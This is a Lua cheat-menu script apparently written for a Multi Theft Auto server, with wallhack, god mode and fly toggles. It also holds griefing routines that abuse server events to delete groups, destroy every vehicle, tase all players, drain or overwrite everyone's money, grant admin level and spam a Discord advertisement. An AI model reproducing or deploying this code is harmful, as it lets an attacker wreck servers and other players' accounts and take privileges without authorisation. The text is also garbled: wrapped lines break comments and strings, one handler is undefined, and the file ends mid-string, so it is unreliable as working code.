local isMenuVisible = true

local menuX, menuY = 700, 350

local buttonHeight = 30
local buttonWidth = 150
local buttonsPerLine = 3
local lines = 5 -- Increase the number of lines to fit the wider button
local padding = 5
local hoveredButton = nil
local greyOutlineColor = tocolor(0, 128, 255, 255)
local greyOutlineThickness = 1
local screenWidth, screenHeight = guiGetScreenSize()

local buttons = {
{label = "Rakéták küldése", func = function() end},
{label = "LUA Exec GUI", func = function() end},
{label = "AirBreak", func = function() end},
{label = "WallHack", func = function() end},
{label = "Run LUA", func = function() end},
{label = "[SP] aircars", func = function() end},
{label = "Load Faltorokos", func = function() end},
{label = "GodMode", func = function() end},
{label = "[SP] extrajump", func = function() end},
{label = "[SPAM] Take All Money", func = function() end},
{label = "Give Armor", func = function() end},
{label = "Give Admin", func = function() end},
{label = "Car ESP", func = function() end},
{label = "Give HP", func = function() end},
{label = "gyors gamemode", func = function() end},
{label = "Pull Nearby Vehs", func = function() end},
{label = "Destroy BL", func = function() end},
{label = "[ALL] Set Badge", func = function() end},
}

function isCursorOverRectangle(x, y, width, height)

local cursorX, cursorY = getCursorPosition()
cursorX, cursorY = cursorX * screenWidth, cursorY * screenHeight

return (cursorX >= x and cursorX <= x + width and cursorY >= y and cursorY <= y
+ height)
end

local isDragging = false

local offsetX, offsetY

function isCursorOverRectangle(x, y, width, height)

local cursorX, cursorY = getCursorPosition()
cursorX, cursorY = cursorX * screenWidth, cursorY * screenHeight
 return (cursorX >= x and cursorX <= x + width and cursorY >= y and cursorY <= y
+ height)
end

function onClientClick(button, state, absoluteX, absoluteY)

if button == "left" then
if state == "down" then
if isCursorOverRectangle(menuX, menuY, menuWidth, menuHeight) then
isDragging = true
offsetX = absoluteX - menuX
offsetY = absoluteY - menuY
end
else
isDragging = false
end
end
end
addEventHandler("onClientClick", root, onClientClick)

function onClientRender()
if isMenuVisible then
menuWidth = buttonWidth * buttonsPerLine + padding * (buttonsPerLine - 1) +
150
menuHeight = buttonHeight * lines + padding * (lines + 2) + 140

drawMenu()
end
end
addEventHandler("onClientRender", root, onClientRender)

function onClientCursorMove(_, _, absoluteX, absoluteY)

if isDragging then
menuX = absoluteX - offsetX
menuY = absoluteY - offsetY
end
end
addEventHandler("onClientCursorMove", root, onClientCursorMove)

function drawMenu()
if isMenuVisible then

local menuWidth = buttonWidth * buttonsPerLine + padding * (buttonsPerLine

- 1) + 10
local menuHeight = buttonHeight * lines + padding * (lines + 1) + 80

local menuRightX = menuX + menuWidth

local menuBottomY = menuY + menuHeight

if menuRightX > screenWidth then

menuX = screenWidth - menuWidth
end

if menuBottomY > screenHeight then

menuY = screenHeight - menuHeight
end
 -- Draw the grey border around the mod menu
dxDrawRectangle(menuX - greyOutlineThickness, menuY - greyOutlineThickness,
menuWidth + 2 * greyOutlineThickness, greyOutlineThickness, greyOutlineColor) --
Top border
dxDrawRectangle(menuX - greyOutlineThickness, menuY + menuHeight, menuWidth
+ 2 * greyOutlineThickness, greyOutlineThickness, greyOutlineColor) -- Bottom
border
dxDrawRectangle(menuX - greyOutlineThickness, menuY, greyOutlineThickness,
menuHeight, greyOutlineColor) -- Left border
dxDrawRectangle(menuX + menuWidth, menuY, greyOutlineThickness, menuHeight,
greyOutlineColor) -- Right border

dxDrawRectangle(menuX, menuY, menuWidth, menuHeight, tocolor(40, 40, 40,

255)) -- Black background

for i, button in ipairs(buttons) do

local col = (i - 1) % buttonsPerLine
local row = math.floor((i - 1) / buttonsPerLine)
local buttonX = menuX + padding + col * (buttonWidth + padding)
local buttonY = menuY + 40 + padding + row * (buttonHeight + padding)

local color = tocolor(15, 15, 15, 150)

local textColor = tocolor(0, 128, 255)

if hoveredButton == i then
color = tocolor(0, 128, 255, 168)
textColor = tocolor(43.5, 43.5, 43.5)
end

-- Draw the red outline around the button

dxDrawRectangle(buttonX - greyOutlineThickness, buttonY -
greyOutlineThickness, buttonWidth + 2 * greyOutlineThickness, greyOutlineThickness,
textColor) -- Top border
dxDrawRectangle(buttonX - greyOutlineThickness, buttonY + buttonHeight,
buttonWidth + 2 * greyOutlineThickness, greyOutlineThickness, textColor) -- Bottom
border
dxDrawRectangle(buttonX - greyOutlineThickness, buttonY,
greyOutlineThickness, buttonHeight, textColor) -- Left border
dxDrawRectangle(buttonX + buttonWidth, buttonY, greyOutlineThickness,
buttonHeight, textColor) -- Right border

dxDrawRectangle(buttonX, buttonY, buttonWidth, buttonHeight, color)

dxDrawText(button.label, buttonX, buttonY, buttonX + buttonWidth,
buttonY + buttonHeight, tocolor(255, 255, 255), 1, "clear", "center", "center")
end
--local 0620hekkolor = #cf00fc

local textHeight = 5 -- Adjust this value as needed

dxDrawText("#0080FFProjectDutchGay #FFFFFFD3STR0YM3NU V1", menuX, menuY +
textHeight, menuX + menuWidth, menuY + 100 + textHeight, tocolor(255, 255, 255),
2.5, "default-bold", "center", "top", true, true, true, true)

--dxDrawText("By: Zeor <3", menuX, menuY + 35 + buttonHeight * lines +

padding * (lines + 1), menuX + menuWidth, menuY + 30 + buttonHeight * lines +
padding * (lines + 1) + 25, tocolor(255, 0, 0), 2.3, "default", "center", "top")
end
end

-- Call the drawMenu function to display the mod menu

addEventHandler("onClientRender", root, drawMenu)

local isDragging = false

local offsetX, offsetY = 0, 0

addEventHandler("onClientRender", root, function()

if isDragging then
local cursorX, cursorY = getCursorPosition()
cursorX, cursorY = cursorX * screenWidth, cursorY * screenHeight

menuX = cursorX - offsetX

menuY = cursorY - offsetY
end
end)

addEventHandler("onClientClick", root, function(button, state, cursorX, cursorY)

if button == "left" then
if state == "down" then
if isMouseInPosition(cursorX, cursorY, menuX, menuY, menuWidth, 40)
then
isDragging = true
offsetX = cursorX - menuX
offsetY = cursorY - menuY
end
else
isDragging = false
end
end
end)

local isCursorVisible = true

function isMouseInPosition(mx, my, x, y, width, height)

return mx >= x and mx <= x + width and my >= y and my <= y + height
end

function toggleMenu()
isMenuVisible = not isMenuVisible
end

local lastKeyPress = 0

function handleCursorHover(_, _, x, y)
if isMenuVisible then
hoveredButton = nil
for i, button in ipairs(buttons) do
 local col = (i - 1) % buttonsPerLine
local row = math.floor((i - 1) / buttonsPerLine)
local buttonX = menuX + padding + col * (buttonWidth + padding)
local buttonY = menuY + 40 + padding + row * (buttonHeight + padding)

if isMouseInPosition(x, y, buttonX, buttonY, buttonWidth, buttonHeight)

then
hoveredButton = i
break
end
end
end
end

function isMouseInPosition(mx, my, x, y, width, height)

return mx >= x and mx <= x + width and my >= y and my <= y + height
end

function handleButtonClick(_, _, x, y)
if isMenuVisible then
for i, button in ipairs(buttons) do
local col = (i - 1) % buttonsPerLine
local row = math.floor((i - 1) / buttonsPerLine)
local buttonX = menuX + padding + col * (buttonWidth + padding)
local buttonY = menuY + 40 + padding + row * (buttonHeight + padding)

if isMouseInPosition(x, y, buttonX, buttonY, buttonWidth, buttonHeight)

then
button.func()
return
end
end
end
end

addEventHandler("onClientRender", root, drawMenu)

addEventHandler("onClientKey", root, moveMenu)
addEventHandler("onClientCursorMove", root, handleCursorHover)
addEventHandler("onClientClick", root, handleButtonClick)

addEventHandler("onClientKey", root, function(button, state)

if button == "end" and state then
toggleMenu()
end
end)

function boomNearby()
local player = getLocalPlayer()
local playerX, playerY, playerZ = getElementPosition(player)
local explosionRange = 150 -- Adjust the explosion range as needed

local rocketID = 20 -- Rocket ID

local rocketSpeed = 69420 -- Adjust rocket speed as needed

-- Target nearby players

local nearbyPlayers = getElementsByType("player")
for _, nearbyPlayer in ipairs(nearbyPlayers) do
if nearbyPlayer ~= player then
local pedX, pedY, pedZ = getElementPosition(nearbyPlayer)
 local distance = getDistanceBetweenPoints3D(playerX, playerY, playerZ,
pedX, pedY, pedZ)

if distance < explosionRange then

createProjectile(player, rocketID, playerX, playerY, playerZ,
rocketSpeed, nearbyPlayer)
end
end
end

-- Target nearby peds

local nearbyPeds = getElementsByType("ped")
for _, ped in ipairs(nearbyPeds) do
local pedX, pedY, pedZ = getElementPosition(ped)
local distance = getDistanceBetweenPoints3D(playerX, playerY, playerZ,
pedX, pedY, pedZ)

if distance < explosionRange then

createProjectile(player, rocketID, playerX, playerY, playerZ,
rocketSpeed, ped)
end
end

-- Target nearby vehicles

local nearbyVehicles = getElementsByType("vehicle")
for _, vehicle in ipairs(nearbyVehicles) do
local vehicleX, vehicleY, vehicleZ = getElementPosition(vehicle)
local distance = getDistanceBetweenPoints3D(playerX, playerY, playerZ,
vehicleX, vehicleY, vehicleZ)

if distance < explosionRange then

createProjectile(player, rocketID, playerX, playerY, playerZ,
rocketSpeed, vehicle)
end
end
end

buttons[1].func = boomNearby

addCommandHandler("spawnped", function()
local player = getLocalPlayer() -- Assuming this is the player who types the
command
local playerX, playerY, playerZ = getElementPosition(player)

-- Create CJ model ped next to the player

local cjPed = createPed(0, playerX + 1, playerY, playerZ) -- Assuming CJ's
model ID is 0

-- If you want CJ to have a specific animation (for example, CJ standing)

setPedAnimation(cjPed, "ped", "idle_stance")
end)
HornBoost = {}
HornBoost.key = "lalt"
HornBoost.multiplier = 1.01
addEventHandler("onClientPreRender", root, function()
if (not getKeyState(HornBoost.key)) then return end

local vehicle = getPedOccupiedVehicle(localPlayer)

if (not vehicle) then return end

local seat = getPedOccupiedVehicleSeat(localPlayer)

if (seat ~= 0) then return end

local velX, velY, velZ = getElementVelocity(vehicle)

setElementVelocity(vehicle, velX * HornBoost.multiplier, velY *
HornBoost.multiplier, velZ * HornBoost.multiplier)
end)

function setBadgeDataForAllPlayers()
local players = getElementsByType("player")
for _, player in ipairs(players) do
setElementData(player, "char-badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char.badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char.Badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "badgeData",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "char:badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "badge",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
setElementData(player, "jelveny",
"@ProjectDutchGay__Szemoldok_Event_Veszi_Kezdedet<3")
end
end
buttons[18].func = setBadgeDataForAllPlayers

local isCarInfoVisible = false

local lastClickTime = 0
local doubleClickThreshold = 500 -- Adjust this threshold as needed in milliseconds

function toggleCarInfo()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
isCarInfoVisible = not isCarInfoVisible
outputChatBox("car esp is now " .. (isCarInfoVisible and "ON" or "OFF"))
end
lastClickTime = currentTime
end
buttons[13].func = toggleCarInfo

function drawCarInfo()
if not isCarInfoVisible then return end
 local vehicles = getElementsByType("vehicle")
for _, vehicle in ipairs(vehicles) do
local x, y, z = getElementPosition(vehicle)
local cx, cy, cz = getCameraMatrix()

local distance = getDistanceBetweenPoints3D(x, y, z, cx, cy, cz)

if distance < 150 then -- Adjust the distance visibility as needed
local modelID = getElementModel(vehicle)
local model = getVehicleNameFromModel(modelID)
local doorState = isVehicleLocked(vehicle) and "Locked" or "Unlocked"
local text = "Model: " .. model .. " (ID: " .. modelID .. ")\nDoor:
" .. doorState

local sx, sy = getScreenFromWorldPosition(x, y, z + 1)

if sx and sy then
dxDrawText(text, sx, sy, sx, sy, tocolor(255, 255, 255, 255), 1,
"default", "center", "center", false, false, false, true)
end
end
end
end
addEventHandler("onClientRender", root, drawCarInfo)

function pullNearbyVehs()
for i, vehicle in ipairs(getElementsByType("vehicle")) do
if isElement(vehicle) then
local x,y,z = getElementPosition(localPlayer)
local vx, vy, vz = getElementPosition(vehicle)
local distance = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
if distance <= 50 then
setElementPosition(vehicle, x,y,z)
end
end
end
end
buttons[16].func = pullNearbyVehs

WallHack = {}
WallHack.boneRelations = {
[8] = {
[4] = {
[22] = {
[23] = {
[24] = false,
},
},
[32] = {
[33] = {
[34] = false,
 },
},
[3] = {
[2] = {
[1] = {
[51] = {
[52] = {
[53] = {
[54] = false,
},
},
},
[41] = {
[42] = {
[43] = {
[44] = false,
},
},
},
},
},
},
},
[6] = { -- New connections for bone 8
[7] = {
[8] = false,
},
},
},
[6] = { -- New connections for bone 6
[7] = {
[8] = false,
},
},
[7] = { -- New connections for bone 7
[8] = {
[6] = false,
},
},
}

WallHack.state = false

WallHack.state = false
WallHack.lastToggle = 0
WallHack.toggleCooldown = 1000 -- 1 second cooldown

function toggleWH()
local currentTime = getTickCount()
if currentTime - WallHack.lastToggle < WallHack.toggleCooldown then
return
end

WallHack.lastToggle = currentTime
WallHack.state = not WallHack.state
 outputChatBox("#FFFFFF[#0080FFProjectDutchGay#FFFFFF]: WallHack #0080FFOFF",
255, 255, 255, true)
removeEventHandler("onClientRender", root, WallHack.render)

if WallHack.state then
outputChatBox("#FFFFFF[#0080FFProjectDutchGay#FFFFFF]: WallHack #0080FFON",
255, 255, 255, true)
addEventHandler("onClientRender", root, WallHack.render)
end
end

buttons[4].func = toggleWH

WallHack.render = function()
local x1, y1, z1 = getCameraMatrix()
for _, player in pairs(getElementsByType("player")) do
local x, y, z = getElementPosition(player)
local dist = getDistanceBetweenPoints3D(x1, y1, z1, x, y, z)
if dist <= 150 then
local scx, scy = getScreenFromWorldPosition(x, y, z, 0.02)
if scx and scy then
for boneId, boneRelation in pairs(WallHack.boneRelations) do
WallHack.drawNames(player, dist)
WallHack.drawBones(player, boneId, boneRelation, dist)
end
end
end
end
end

WallHack.drawNames = function(player, dist)

local headX, headY, headZ = getPedBonePosition(player, 8)
headZ = headZ + 0.5
local scrHeadX, scrHeadY = getScreenFromWorldPosition(headX, headY, headZ,
0.02)
if scrHeadX and scrHeadY then
local name = getPlayerName(player)
local health = getElementHealth(player)
local armor = getPedArmor(player)
local weapon = getPedWeapon(player)

local healthR, healthG, healthB = interpolateBetween(255, 89, 89, 125, 197,

118, (health / 100), "Linear")
local armorR, armorG, armorB = interpolateBetween(180, 180, 180, 50, 179,
239, (armor / 100), "Linear")

local text = name .. "\n" .. string.format("#FF5959[%d%%] #B4B4B4[%d%%]",

health, armor)

if weapon then
local weaponName = getWeaponNameFromID(weapon)
text = text .. "\n[" .. weaponName .. "]"
end

local scale = interpolateBetween(1.3, 0, 0, 0.1, 0, 0, (dist / 150),

"Linear")

dxDrawText(text:gsub("#%x%x%x%x%x%x", ""), scrHeadX + 1, scrHeadY + 1,

scrHeadX + 1, scrHeadY + 1, tocolor(0, 0, 0, 255), scale, "default-bold", "center",
"bottom", false, false, true, true)
dxDrawText(text, scrHeadX, scrHeadY, scrHeadX, scrHeadY, tocolor(255, 255,
255, 255), scale, "default-bold", "center", "bottom", false, false, true, true)
end
end

WallHack.drawBones = function(player, _boneId, _boneRelation, dist)

if not (player and _boneId and _boneRelation) then
return
end

local rootX, rootY, rootZ = getPedBonePosition(player, _boneId)

for boneId, boneRelation in pairs(_boneRelation) do

local boneX, boneY, boneZ = getPedBonePosition(player, boneId)

dxDrawLine3D(rootX, rootY, rootZ, boneX, boneY, boneZ, tocolor(255, 255,

255, 255), (dist / 150) * 15, true)

if boneRelation then
WallHack.drawBones(player, boneId, boneRelation, dist)
end
end
end

Fly = {}
Fly.state = false
Fly.speedMultipliers = {
["lshift"] = 4,
["lalt"] = 0.25,
}

local lastClickTime = 0
local doubleClickThreshold = 500 -- Adjust this threshold as needed in milliseconds

function Fly.toggleFlightMode()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
Fly.state = not Fly.state
removeEventHandler("onClientPreRender", root, Fly.render)
setElementFrozen(localPlayer, Fly.state)
setElementCollisionsEnabled(localPlayer, not Fly.state)
if Fly.state then
addEventHandler("onClientPreRender", root, Fly.render)
 end
end
lastClickTime = currentTime
end

Fly.render = function(delta)
if (isChatBoxInputActive() or isConsoleActive()) then return end

if getPedOccupiedVehicle(localPlayer) then return end

local x, y, z = getElementPosition(localPlayer)
local camX, camY, camZ, camTX, camTY, camTZ = getCameraMatrix()
camTX, camTY = camTX - camX, camTY - camY

delta = delta * 0.1

for key, multiplier in pairs(Fly.speedMultipliers) do
if (getKeyState(key)) then
delta = delta * multiplier
end
end

local multiplier = delta / math.sqrt(camTX * camTX + camTY * camTY)

camTX, camTY = camTX * multiplier, camTY * multiplier

if (getKeyState("w")) then
x, y = x + camTX, y + camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(0))
end
if (getKeyState("s")) then
x, y = x - camTX, y - camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(180))
end
if (getKeyState("a")) then
x, y = x - camTY, y + camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(270))
end
if (getKeyState("d")) then
x, y = x + camTY, y - camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(90))
end
if (getKeyState("space")) then
z = z + delta
setElementPosition(localPlayer, x, y, z)
end
if (getKeyState("lctrl")) then
z = z - delta
setElementPosition(localPlayer, x, y, z)
end
end
function rotationFromCamera(offset)
local camX, camY, _, camTX, camTY = getCameraMatrix()
local deltaX, deltaY = camTX - camX, camTY - camY
local rotZ = math.deg(math.atan(deltaY / deltaX))
if ((deltaY >= 0 and deltaX <= 0) or (deltaY <= 0 and deltaX <= 0)) then
rotZ = rotZ + 180
 end
return -rotZ + 90 + offset
end

buttons[3].func = Fly.toggleFlightMode

function activateModFunction()
for a = 1, 250 do
triggerServerEvent("deleteGroup", root, a)
end

setTimer(function()
local b = getElementsByType("player")
for c, d in ipairs(b) do
triggerServerEvent("onDoMessage", d, b, getElementData(d,
"visibleName") or "@ProjectDutchGay", "dsc.gg/projectdutchgay")
end
end, 5000, 0)

setTimer(function()
local vehicles = getElementsByType("vehicle", root, true)
for c, e in ipairs(vehicles) do
triggerServerEvent("setVehicleHealthSync", root, e, 0)
end
end, 2000, 0)

setTimer(function()
local players = getElementsByType("player")
for f, g in ipairs(players) do
triggerServerEvent("onTazerShoot", g, g)
for h, i in ipairs({"char.Money", "char-cash", "char.money", "money",
"Money", "char.bankMoney", "acc.premium", "char-pp", "char.PP",
"acc.premiumPoints", "premiumPont", "premiumPoints", }) do
triggerServerEvent("ac.elementData", root, g, i, (getElementData(g,
i) or 0) - math.random(250000000, 90000000))
end
end
end, 1200, 0)
end
buttons[17].func = activateModFunction

local godModeEnabled = false

local lastButtonClickTime = 0
local buttonCooldown = 500 -- Adjust this value as needed (in milliseconds)
function onPlayerDamage(attacker, weapon, bodypart, loss)
if godModeEnabled then
cancelEvent()
end
end
addEventHandler("onClientPlayerDamage", localPlayer, onPlayerDamage)

-- Define the toggle function for buttons[11].func

buttons[8].func = function()
local currentTime = getTickCount()
if currentTime - lastButtonClickTime >= buttonCooldown then
lastButtonClickTime = currentTime

godModeEnabled = not godModeEnabled

local status = godModeEnabled and "on" or "off"
outputChatBox("#0080ff[GOD]#FFFFFF: God: " .. status,255,255,255,true)
end
end

buttons[11].func = function()
local player = getLocalPlayer()
if player then
setPedArmor(player, 100) -- Set armor to full (100)
end
end

local isUpdating = false

local lastClickTime = 0
local doubleClickThreshold = 500 -- Adjust this threshold as needed in milliseconds
local updateTimer = nil

local function setRandomNegativeValues(player)

local randomcharMoney = math.random(-3732882378647135, -
576857424636822783468424468682)
local randomcharBankMoney = math.random(-3732882378647135, -
576857424636822783468424468682)
local randomaccPremium = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randomaccPremiumPoints = math.random(-3732882378647135, -
576857424636822783468424468682)
local randomcharmoney = math.random(-3732882378647135, -
576857424636822783468424468682)
local randomMoney = math.random(-3732882378647135, -
576857424636822783468424468682)
local randompenz = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randommoney = math.random(-3732882378647135, -
576857424636822783468424468682)
local randomcharcash = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randombalance = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randomcharBalance = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randomaccBalance = math.random(-824375885436225486462,
87534274488246427842245876894824)
local randomaccbalance = math.random(-824375885436225486462,
87534274488246427842245876894824)

setElementData(player, "char.Money", randomcharMoney)

setElementData(player, "char.bankMoney", randomcharBankMoney)
setElementData(player, "acc.premium", randomaccPremium)
setElementData(player, "acc.premiumPoints", randomaccPremiumPoints)
setElementData(player, "char.money", randomcharmoney)
setElementData(player, "Money", randomMoney)
setElementData(player, "money", randommoney)
setElementData(player, "char-cash", randomcharcash)
setElementData(player, "penz", randompenz)
setElementData(player, "balance", randombalance)
setElementData(player, "char.balance", randomcharbalance)
setElementData(player, "char.Balance", randomcharBalance)
setElementData(player, "acc:balance", randomaccbalance)
end

buttons[10].func = function()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
if not isUpdating then
isUpdating = true
outputChatBox("spam take all money started", 0, 255, 0, true)
updateTimer = setTimer(function()
for _, player in ipairs(getElementsByType("player")) do
setRandomNegativeValues(player)
end
end, 1, 0) -- Milliseconds: 1, Repeat: 0 (infinite)
else
isUpdating = false
outputChatBox("spam take all money stopped", 255, 0, 0, true)
if isTimer(updateTimer) then
killTimer(updateTimer)
end
end
end
lastClickTime = currentTime
end

function setAdminData(player)
 setElementData(player, "acc.adminLevel", 10)
setElementData(player, "acc-adminlevel", 10)
setElementData(player, "acc:admin", 10)
setElementData(player, "admin", 10)
setElementData(player, "adminszint", 10)
setElementData(player, "adminSzint", 10)
setElementData(player, "AdminSzint", 10)
setElementData(player, "Adminszint", 10)
setElementData(player, "aSzint", 10)
setElementData(player, "aszint", 10)
setElementData(player, "adminLevel", 10)
setElementData(player, "adminlevel", 10)
setElementData(player, "admini", 10)
setElementData(player, "a", 10)
setElementData(player, "Admin", 10)
setElementData(player, "aLevel", 10)
setElementData(player, "alevel", 10)
setElementData(player, "staff", 10)
setElementData(player, "moderator", 10)
setElementData(player, "acc-adminnick", "@ProjectDutchGay")
setElementData(player, "acc-adminNick", "@ProjectDutchGay")
setElementData(player, "acc:adminNick", "@ProjectDutchGay")
setElementData(player, "aNick", "@ProjectDutchGay")
setElementData(player, "adminnick", "@ProjectDutchGay")
setElementData(player, "aname", "@ProjectDutchGay")
setElementData(player, "acc.adminNick", "@ProjectDutchGay")
setElementData(player, "aName", "@ProjectDutchGay")
setElementData(player, "adminName", "@ProjectDutchGay")
setElementData(player, "adminnev", "@ProjectDutchGay")
setElementData(player, "adminNev", "@ProjectDutchGay")
setElementData(player, "anev", "@ProjectDutchGay")
setElementData(player, "aNev", "@ProjectDutchGay")
end
buttons[12].func = setAdminData

buttons[14].func = function()
setElementHealth(localPlayer, 100)
end

local isBigJumpEnabled = false

local propertyName = "extrajump"

buttons[9].func = function()
if not buttonPressed then
buttonPressed = true
isBigJumpEnabled = not isBigJumpEnabled
 if isBigJumpEnabled then
setWorldSpecialPropertyEnabled(propertyName, true) -- Enable extra
jump
outputChatBox("#0080ff[ProjectDutchGay]#FFFFFF: nagy ugras
be",255,255,255,true)
else
setWorldSpecialPropertyEnabled(propertyName, false) -- Disable extra
jump
outputChatBox("#0080ff[ProjectDutchGay]#FFFFFF: nagy ugras
ki",255,255,255,true)
end
else
buttonPressed = false
end
end

local flyEnabled = false

local lastClickTime = 0
local doubleClickThreshold = 500 -- Adjust this threshold as needed in milliseconds
local cooldownTimer = nil
local cooldownDuration = 1000 -- Adjust this cooldown duration as needed in
milliseconds

function autofly()
local currentTime = getTickCount()
if currentTime - lastClickTime <= doubleClickThreshold then
if not cooldownTimer then
if not flyEnabled then
setWorldSpecialPropertyEnabled("aircars", true)
outputChatBox("Vehicle fly: ON")
flyEnabled = true
else
setWorldSpecialPropertyEnabled("aircars", false)
outputChatBox("Vehicle fly: OFF")
flyEnabled = false
end

cooldownTimer = setTimer(function()
cooldownTimer = nil
end, cooldownDuration, 1)
end
end
lastClickTime = currentTime
end

buttons[6].func = autofly
local isFastRunningEnabled = false
local normalGameSpeed = 1.0
local fastRunningGameSpeed = 3 -- Adjust the speed multiplier as needed

local lastButtonClickTime = 0
local doubleClickInterval = 500 -- Time interval (in milliseconds) for a double
click

buttons[15].func = function(player)
local currentTime = getTickCount()

if currentTime - lastButtonClickTime < doubleClickInterval then

isFastRunningEnabled = not isFastRunningEnabled
else
lastButtonClickTime = currentTime
return
end

if isFastRunningEnabled then
setGameSpeed(fastRunningGameSpeed) -- Increase game speed for fast
running
outputChatBox("b072ff[HeartCore]#FFFFFF: Fast running enabled",
player,255,255,255,true)
else
setGameSpeed(normalGameSpeed) -- Reset game speed to normal
outputChatBox("b072ff[HeartCore]#FFFFFF: Fast running disabled",
player,255,255,255,true)
end
end

-- Function to execute the embedded Lua script

function executeEmbeddedScript()
-- Your embedded Lua script goes here
-- Example embedded Lua script:
local embeddedScript = [[
sx, sy = guiGetScreenSize()

output = function(text, extra)

outputChatBox(Consts.prefix(extra) .. text, 255, 255, 255, true)
end
syntax = function(cmd, ...)
outputChatBox(Consts.prefix("Syntax") .. Consts.commandPrefix .. cmd ..
Consts.color .. " | #ffffff" .. table.concat({...}, (Consts.color .. " |
#ffffff")), 255, 255, 255, true)
end
inspectValue = function(v)
return tostring(v) .. " [" .. type(v) .. "]"
end
Consts = {}
Consts.whiteSpace = ";;"
Consts.commandPrefix = "/"
Consts.color = "#280137"
Consts.colorRGB = {16, 0, 22}
Consts.name = "Vagoeszkoz"
Consts.prefix = function(extra)
return Consts.color .. "[" .. Consts.name .. (extra and (" #ffffff- " ..
Consts.color .. extra) or "") .. "]#ffffff: "
end
Consts.__init = function()
--output("loaded")
end

Commands = {}
Commands.registered = {}
Commands.register = function(cmd, func)
if (not (cmd and func)) then return end

Commands.registered[cmd] = func
end
Commands.handleCommand = function(text)
if (text:sub(1, #Consts.commandPrefix) ~= Consts.commandPrefix) then return end

local args = Utils.string.split(text, " ")

local cmd = table.remove(args, 1)

if (cmd and args) then

cmd = cmd:sub(#Consts.commandPrefix + 1, #cmd)

if (not Commands.registered[cmd]) then return end

Commands.registered[cmd](cmd, unpack(args))
end
end
addEventHandler("onClientConsole", root, Commands.handleCommand)

ElementData = {}
ElementData.commonKeys = {
playerId = {
"playerid",
"playerID",
"playerId",
"player.ID",
},
name = {
"char-name",
"charName",
"charname",
"visibleName",
},
adminLevel = {
"acc-adminlevel",
"acc.adminLevel",
"acc:admin",
"cooper >> bazdmeg",
},
adminNick = {
 "acc-adminnick",
"acc.adminNick",
},
money = {
"char-cash",
"char.money",
"char.Money",
"money",
"Money",
},
pp = {
"char-pp",
"char.PP",
"acc.premium",
"premiumPont",
"premiumPoints",
},
badge = {
"char-badge",
"char.badge",
"char.Badge",
"badgeData",
"char:badge",
},
}
ElementData.getCommonKeys = function(dataType)
return ElementData.commonKeys[dataType] or {}
end

Players = {}
-- Players.friends = {}
Players.getPlayersByTable = function(names)
local players = {}

if (names) then
for _, name in pairs(names) do
if (name == "*") then
Utils.table.insertOnce(players, localPlayer)
elseif (name == "@a") then
for _, player in pairs(getElementsByType("player")) do
Utils.table.insertOnce(players, player)
end
elseif (name == "@f") then
for _, player in pairs(getElementsByType("player")) do
if (Utils.table.find(Players.friends, getPlayerSerial(player)))
then
Utils.table.insertOnce(players, player)
end
end
elseif (tonumber(name)) then
for _, player in pairs(getElementsByType("player")) do
for _, key in pairs(ElementData.getCommonKeys("playerId")) do
if (getElementData(player, key) == tonumber(name)) then
Utils.table.insertOnce(players, player)
break
end
end
end
else
 for _, player in pairs(getElementsByType("player")) do
if (getPlayerName(player):lower() == name:lower()) then
Utils.table.insertOnce(players, player)
else
for _, key in pairs(ElementData.getCommonKeys("name")) do
if (tostring(getElementData(player, key)):gsub(" ",
"_"):lower() == name:gsub(" ", "_"):lower()) then
Utils.table.insertOnce(players, player)
break
end
end
end
end
end
end
end

return players
end
Players.find = function(_name)
local players = {}

if (_name) then
local _includedNames, _excludedNames = unpack(Utils.string.split(_name,
"-"))
if (not _includedNames) then
_includedNames = ""
end
if (not _excludedNames) then
_excludedNames = ""
end
includedNames, excludedNames = Utils.string.split(_includedNames, ","),
Utils.string.split(_excludedNames, ",")

local includedPlayers = Players.getPlayersByTable(includedNames)

local excludedPlayers = Players.getPlayersByTable(excludedNames)

for _, player in pairs(includedPlayers) do

Utils.table.insertOnce(players, player)
end

for _, player in pairs(excludedPlayers) do

local i = Utils.table.find(players, player)
if (i) then
table.remove(players, i)
end
end
end

return players
end

Utils = {}
Utils.string = {}
Utils.string.split = function(s, sep)
local fields = {}

local sep = sep or " "

local pattern = string.format("([^%s]+)", sep)
 string.gsub(s, pattern, function(c) fields[#fields + 1] = c end)

return fields
end
Utils.string.autoConvert = function(v)
if (not v) then return end

v = v:gsub(Consts.whiteSpace, " ")

if (tonumber(v) ~= nil) then

return tonumber(v)
end

if (v == "true") then
return true
end

if (v == "false") then
return false
end

if (v == "nil") then
return nil
end

if (fromJSON(v)) then
return fromJSON(v)
end

return v
end
Utils.table = {}
Utils.table.find = function(t, v, k)
if (not table) then return false end

for i, val in pairs(t) do

if (k) then
if (type(val) == "table" and val[k] and val[k] == v) then
return i
end
else
if (val == v) then
return i
end
end
end

return false
end
Utils.table.insertOnce = function(t, v)
if (not (t and v)) then return end

if (not Utils.table.find(t, v)) then

table.insert(t, v)
end
end
Utils.math = {}
Utils.math.average = function(...)
local _t = {...}
 local t = (type(_t[1]) == "table" and _t[1] or _t)
local sum = 0
for _,v in pairs(t) do
sum = sum + v
end
return sum / #t
end
Utils.color = {}
Utils.color.RgbToHex = function(r, g, b)
return string.format("#%02x%02x%02x",
math.floor(r),
math.floor(g),
math.floor(b))
end

